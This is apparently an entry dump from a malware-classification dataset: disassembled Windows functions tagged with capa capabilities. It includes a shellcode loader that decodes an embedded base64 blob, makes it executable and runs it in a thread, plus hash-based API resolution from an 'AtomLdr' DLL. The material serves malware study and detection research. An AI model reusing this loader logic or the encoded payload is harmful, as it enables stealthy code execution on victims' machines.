joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400840b0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140084258
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140084115
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140084115
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140084115
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14008414c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400841a2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400841a2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400841a2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400841a2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400841a2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140083b60
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140084204
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400602c0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140083f30
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140084250
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400602c0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400859c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400f4080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140085a55
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x140085ab6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400602c0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140099360
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x140085b71
sub ecx, 1
je 0x140085be4
sub ecx, 1
je 0x140085b20
cmp ecx, 1
je 0x140085b03
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400ae1c4]
call fcn.1400602c0
jmp 0x140085be4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400856f0
test eax, eax
je 0x140085be4
jmp 0x140085a8a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140085be4
sub rax, rsi
cmp rax, rbp
jae 0x140085be4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140060440
jmp 0x140085be4
cmp r8d, 4
jle 0x140085be4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140085be4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400601e0
mov esi, eax
test eax, eax
je 0x140085bc3
mov edx, 5
mov rcx, rbx
call fcn.1400866b0
mov eax, esi
jmp 0x140085a8a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14006eae0
mov rcx, r14
call fcn.14006edc0
test eax, eax
je 0x140085a88
mov edx, 5
mov rcx, rbx
call fcn.1400866b0
mov eax, Ordinal_46
jmp 0x140085a8a
Function at 0x140098980
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400989c2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140098a09
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140098a62
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140098a20
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140098aa3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400ab262]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400ab263]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140098a70
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140099a28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140099a72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140099a72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140099a72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140099a72
cmp dword [rcx + 0x84], 0xe
jbe 0x140099a72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140099a74
xor al, al
add rsp, 0x28
ret
Function at 0x14000110c
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x140001160
xor al, al
jmp 0x1400011b1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1400011a3
xor al, al
jmp 0x1400011b1
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov al, 1
add rsp, 0x58
ret
Function at 0x1400011b8
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x2a8
mov dword [rsp + 0x34], 0
lea rax, str.9kKJ7vriygoKCktbS1pYW1xCO9hvQoFYakKBWBJCgVgqQoF4WkIFvUBARzvDQjvKpjZrdggmKkvLwwdLC8vo51hLW0KBWCqBSDZCC9qBioIKCgpCj8pbUIL2lqBQhJOgUoqQwva6VxC9cNLgT6CQgvcRzvDQjvKpkvLwwdLC8sy6n_7RglGLgJPM9t_0lJOgUouQwvabEuBBkJOgUoWQwvaS4EOgkIL2ktSS1JUU1BLUktTS1BCieYqS1j16lJLU1BCgRjjXfX19VdCsAsKCgoKCgoKQoeHCwsKCkuwO4FljfXfsfq_qFxLsKyft5f130KJziI2DHYAivHqfwxTRl4ZWAKU0uD0PXfaWtmaSRvcm8K
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x58]
call fcn.14000110c
movzx eax, al
test eax, eax
jne 0x140001207
lea rcx, str.Base64
call fcn.14000104c
mov eax, 1
jmp 0x140001343
mov byte [rsp + 0x30], 0xa
mov r8b, byte [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0xa0]
call fcn.1400010a4
lea rcx, str.activeds.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rax
lea rdx, str.AllocADsMem
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
lea rdx, str.FreeADsMem
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov ecx, dword [rsp + 0x40]
call qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x20
lea r9, [rsp + 0x80]
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_memory_l1_1_4.dll_QueryVirtualMemoryInformation]
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.VCRUNTIME140.dll_memmove]
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x140001318
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x68], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x38]
call qword [rsp + 0x70]
xor eax, eax
add rsp, 0x2a8
ret

Function at 0x140001a70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aba
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001abc
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4d1540
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d2620
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d1f42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d1fda
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d1fbe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d1fb2
cmp qword [rbp - 0x10], 0
je 0x2fc4d1fb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d1f78
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d1fdb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d20e0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d2108
mov eax, 0
jmp 0x2fc4d2156
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d2131
mov eax, 0
jmp 0x2fc4d2156
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d2151
mov eax, 0
jmp 0x2fc4d2156
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d215c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d21da
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d21d1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d21d1
mov rax, qword [rbp - 8]
jmp 0x2fc4d21ef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d21a4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov esi, ecx
test ecx, ecx
je 0x1800010b0
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rbx, qword [rdx + 0x20]
test rbx, rbx
je 0x1800010b0
mov ebp, 0x103
nop dword [rax]
mov rdi, qword [rbx + 0x50]
test rdi, rdi
je 0x1800010b0
cmp word [rbx + 0x48], bp
jae 0x1800010a8
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.1800011d0
xor eax, eax
cmp word [rdi], ax
je 0x180001095
cmp eax, ebp
jae 0x180001095
movzx r9d, byte [rdi + rax*2]
lea r8d, [r9 - 0x61]
cmp r8b, 0x19
lea ecx, [r9 - 0x20]
movzx edx, cl
cmova edx, r9d
mov byte [rsp + rax + 0x20], dl
inc eax
mov rdi, qword [rbx + 0x50]
cmp word [rdi + rax*2], 0
jne 0x180001068
lea rcx, [rsp + 0x20]
mov byte [rsp + rax + 0x20], 0
call fcn.180001200
cmp eax, esi
je 0x1800010cb
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180001040
xor eax, eax
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rax, qword [rbx + 0x20]
jmp 0x1800010b2

Function at 0x180001120
Capabilities:
Accept command line arguments
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp edx, 1
jne 0x1800011b1
xor esi, esi
mov dword [rsp + 0x48], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, esi
mov rdi, rax
cmp dword [rsp + 0x48], ebx
jle 0x18000117b
nop dword [rax]
mov rcx, qword [rdi]
call fcn.180001360
cmp eax, 0xd3f89e8b
je 0x1800011b1
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x48]
jl 0x180001160
mov qword [rsp + 0x28], rsi
lea r8, [sym.AtomLdr.dll_RunME]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
setne sil
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov eax, 1
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180001200
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
mov r10, rcx
mov eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x18000131a
nop dword [rax]
nop word [rax + rax]
movzx ecx, cl
lea r10, [r10 + 1]
mov edx, ecx
and ecx, 0xd5555555
shr edx, 1
add ecx, ecx
and edx, 0x55555555
or edx, ecx
mov ecx, edx
shr edx, 2
and ecx, 0xf3333333
and edx, 0x33333333
shl ecx, 2
or ecx, edx
lea edx, [rax + rax]
mov r8d, edx
mov r9d, ecx
shr ecx, 4
xor r8d, 0x4c11db7
and r9d, 0xff0f0f0f
shl r9d, 4
or r9d, ecx
bswap r9d
mov ecx, r9d
xor ecx, eax
cmovns r8d, edx
lea ecx, [r9 + r9]
lea eax, [r8 + r8]
mov edx, eax
xor edx, 0x4c11db7
xor r8d, ecx
cmovns edx, eax
add ecx, ecx
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
xor edx, ecx
cmovns r8d, eax
add ecx, ecx
lea eax, [r8 + r8]
mov edx, eax
xor edx, 0x4c11db7
xor r8d, ecx
cmovns edx, eax
add ecx, ecx
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
xor edx, ecx
cmovns r8d, eax
add ecx, ecx
lea eax, [r8 + r8]
mov edx, eax
xor edx, 0x4c11db7
xor r8d, ecx
cmovns edx, eax
add ecx, ecx
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
xor edx, ecx
cmovns r8d, eax
add ecx, ecx
lea edx, [r8 + r8]
mov eax, edx
xor eax, 0x4c11db7
xor ecx, r8d
movzx ecx, byte [r10]
cmovns eax, edx
test cl, cl
jne 0x180001220
not eax
mov ecx, eax
and eax, 0xd5555555
add eax, eax
shr ecx, 1
and ecx, 0x55555555
or ecx, eax
mov edx, ecx
shr ecx, 2
and edx, 0xf3333333
and ecx, 0x33333333
shl edx, 2
or edx, ecx
mov eax, edx
shr edx, 4
and eax, 0xff0f0f0f
and edx, 0xf0f0f0f
shl eax, 4
or eax, edx
bswap eax
ret

Function at 0x180001360
Capabilities:
Encode data using xor

Disassembly:
mov r8, rcx
mov eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x18000140c
movzx edx, cl
lea r8, [r8 + 1]
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x180001373
not eax
ret
Function at 0x14004c710
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x10
movzx esi, cl
mov dword [rsp], 0xd0a0920
movzx r9d, sil
movzx r10d, sil
xor r9b, 0x2b
xor r10b, 0x2f
movzx r11d, sil
mov eax, 0x5a
sub al, cl
lea r14d, [rsi - 0x41]
xor r11b, 0x3d
mov r8d, reloc.WS2_32.dll_gethostname
sub r8b, sil
movzx edx, r14b
xor dl, cl
or dl, cl
xor dl, cl
or dl, al
lea eax, [rsi - 0x61]
xor al, cl
or dl, cl
or al, cl
shr dl, 7
xor al, cl
dec dl
mov ecx, 0x7a
sub cl, sil
or al, cl
lea ecx, [rsi - 0x30]
xor cl, sil
or al, sil
or cl, sil
shr al, 7
xor cl, sil
dec al
or cl, r8b
lea r8d, [r9 - 1]
not r9b
shr r8b, 7
shr r9b, 7
or cl, sil
and r8b, r9b
shr cl, 7
lea r9d, [r10 - 1]
dec cl
not r10b
shr r9b, 7
shr r10b, 7
neg r8b
and r9b, r10b
lea r10d, [r11 - 1]
shr r10b, 7
not r11b
shr r11b, 7
neg r9b
and r10b, r11b
lea r11, [rsp]
neg r10b
xor bpl, bpl
nop dword [rax + rax]
movzx edi, sil
xor dil, byte [r11]
inc r11
lea ebx, [rdi - 1]
not dil
and bl, dil
or bpl, bl
lea rbx, [rsp + 4]
cmp r11, rbx
jne 0x14004c7f0
mov rbx, qword [rsp + 0x20]
not r14b
mov rdi, qword [rsp + 0x38]
and r14b, dl
lea edx, [rsi - 0x47]
shr bpl, 7
not dl
add sil, 4
xor dl, r14b
not sil
and dl, al
neg bpl
xor dl, r14b
xor sil, dl
and sil, cl
not sil
xor sil, dl
movzx edx, sil
xor dl, 0x3e
and dl, r8b
xor dl, sil
mov rsi, qword [rsp + 0x30]
movzx eax, dl
xor al, 0x3f
and al, r9b
xor dl, al
movzx ecx, dl
xor cl, 0x81
and cl, r10b
xor dl, cl
movzx eax, dl
xor al, 0x80
and al, bpl
mov rbp, qword [rsp + 0x28]
xor al, dl
add rsp, 0x10
pop r14
ret
Function at 0x14004cbc0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
mov rbp, rdx
mov rdi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov qword [rcx], r12
mov qword [rcx + 8], r12
mov qword [rcx + 0x10], r12
mov dword [rsp + 0x20], 1
test rdx, rdx
je 0x14004cd1c
movabs rax, 0x1fffffffffffffff
cmp rdx, rax
ja 0x14004cd39
call fcn.14004cae0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14d, dword [rsp + 0x2c]
lea r15, [r14 + r14*2]
nop dword [rax]
mov r9d, 4
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14004cd10
lea rsi, [rax + r14]
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualLock]
mov rcx, rbx
test eax, eax
jne 0x14004cc7d
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14004cd10
mov r8, r15
xor edx, edx
call fcn.1400f8f50
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0xa8], r12d
mov edx, dword [rsp + 0x2c]
lea r9, [rsp + 0xa8]
mov r8d, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0xb0], r12d
mov edx, dword [rsp + 0x2c]
lea rcx, [rbx + r14*2]
lea r9, [rsp + 0xb0]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0xb8], rsi
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x14004cd00
mov qword [rdx], rsi
add qword [rdi + 8], 8
jmp 0x14004cd10
lea r8, [rsp + 0xb8]
mov rcx, rdi
call fcn.14004c8e0
sub rbp, 1
jne 0x14004cc30
jmp 0x14004cd27
lea rcx, [rsp + 0x28]
